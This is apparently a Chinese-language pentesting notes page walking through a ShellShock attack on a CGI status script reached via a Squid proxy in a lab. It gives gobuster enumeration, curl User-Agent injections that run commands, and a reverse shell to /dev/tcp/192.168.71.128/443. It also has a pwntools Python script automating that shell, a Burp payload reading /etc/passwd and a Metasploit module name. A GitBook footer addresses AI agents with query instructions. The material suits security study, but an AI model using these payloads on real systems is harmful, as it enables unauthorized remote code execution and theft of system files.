> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/shellshock-attack/shellshock-status-pentesting-web.md).

# ShellShock 状态

使用该工具 **GoBuster**，我们搜索系统路径

```shell
gobuster dir -u http://192.168.71.131/ --proxy http://192.168.71.131:3128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash

```

在这种情况下，我找到该路径 **/cgi-bin/**，它可能容易受到 ShellShock 攻击：

<figure><img src="/files/9ce530acd4d80ba6677736ac7a8b60cff2487ad4" alt=""><figcaption></figcaption></figure>

现在，在同一路径中，我们搜索具有以下扩展名的文件 **sh、pl、cgi**，等等。

```shell
gobuster dir -u http://192.168.71.131/cgi-bin/ --proxy http://192.168.71.131:3128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x pl,sh,cgi

```

<figure><img src="/files/a92426a539a50aafef43441f032d9344e1b94e70" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6901773fd6099b9f734305675a64cd1c6725ba1d" alt=""><figcaption></figcaption></figure>

## ShellShock：

使用 curl，如果我们发送一个查询，我们可以看到它是 **与 uptime 相同的命令**:

```shell
curl -s http://127.0.0.1/cgi-bin/status --proxy http://192.168.71.131:3128

```

<figure><img src="/files/f6501673175cdc0b7c09341029324599606ef70d" alt=""><figcaption></figcaption></figure>

使用 curl，利用 **ShellShock** 漏洞执行命令。始终设置 **绝对路径**:

```shell
curl -s http://127.0.0.1/cgi-bin/status --proxy http://192.168.71.131:3128 -H "User-Agent: () {:; }; echo; /usr/bin/whoami"

```

<figure><img src="/files/506d9feebb048e89d4b4a102f8c4d774c5bf345f" alt=""><figcaption></figcaption></figure>

要 **获得访问权限** 到该机器，我们执行以下命令：

```shell
curl -s http://127.0.0.1/cgi-bin/status --proxy http://192.168.71.131:3128 -H "User-Agent: () {:; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.71.128/443 0>&1'"

```

<figure><img src="/files/91bdc8145729329d71d58e949a17d2003942d8a7" alt=""><figcaption></figcaption></figure>

## 自动化 Python 脚本：

```python
#!/usr/bin/python3
import sys, signal, requests, threading
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] 正在退出.../n")
    sys.exit(1)
# ShellShock 状态
signal.signal(signal.SIGINT, def_handler)
main_url = "http://127.0.0.1/cgi-bin/status"
squid_proxy = {'http': 'http://192.168.71.131:3128'}
lport = 443
def shellshock_attack():
    headers = {'User-Agent': "() {:; }; /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.71.128/443 0>&1'"}
    r = requests.get(main_url, headers=headers, proxies=squid_proxy)
if __name__ == '__main__':
    try:
        threading.Thread(target=shellshock_attack).start()
    except Exceptiwe as e:
        log.error(str(e))
    shell = listen(lport, timeout=20).wait_for_login()
    if shell.sock is None:
        log.failure("未能建立登录")
        sys.exit(1)
    else:
        shell.interactive()

```

<figure><img src="/files/60b0c9bec234a6df71978eccb61bde1989b74071" alt=""><figcaption></figcaption></figure>

## 使用 Burp Suite 利用漏洞

在 Burp Suite 中，我们可以在请求头中注入 ShellShock 载荷 **User-Agent** 以尝试在目标服务器上执行命令：

```bash
User-Agent: () {:; }; echo; echo; /bin/bash -c 'cat /etc/passwd'

```

如果存在该漏洞，服务器会返回该文件的内容 `/etc/passwd`，前提是能够执行命令。

## 使用 Metasploit 进行漏洞利用

Metasploit 为此漏洞提供了专用利用模块：加载 ShellShock 模块：

```bash
use exploit/multi/http/apache_mod_cgi_bash_env_exec

```

如果利用成功，将在目标机器上获得一个 shell。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/shellshock-attack/shellshock-status-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
